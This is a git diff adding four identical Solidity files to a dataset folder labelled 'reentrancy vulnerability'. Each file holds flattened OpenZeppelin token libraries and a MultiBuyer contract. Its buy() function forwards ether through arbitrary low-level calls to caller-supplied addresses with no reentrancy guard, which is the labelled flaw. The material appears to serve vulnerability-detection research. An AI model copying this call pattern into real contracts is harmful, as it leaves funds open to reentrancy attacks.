0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/870.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/871.sol b/smart_contract_dataset/reentrancy vulnerability/871.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/871.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/92.sol b/smart_contract_dataset/reentrancy vulnerability/92.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/92.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/930.sol b/smart_contract_dataset/reentrancy vulnerability/930.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/930.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/934.sol b/smart_contract_dataset/reentrancy vulnerability/934.sol new file mode 100644 index 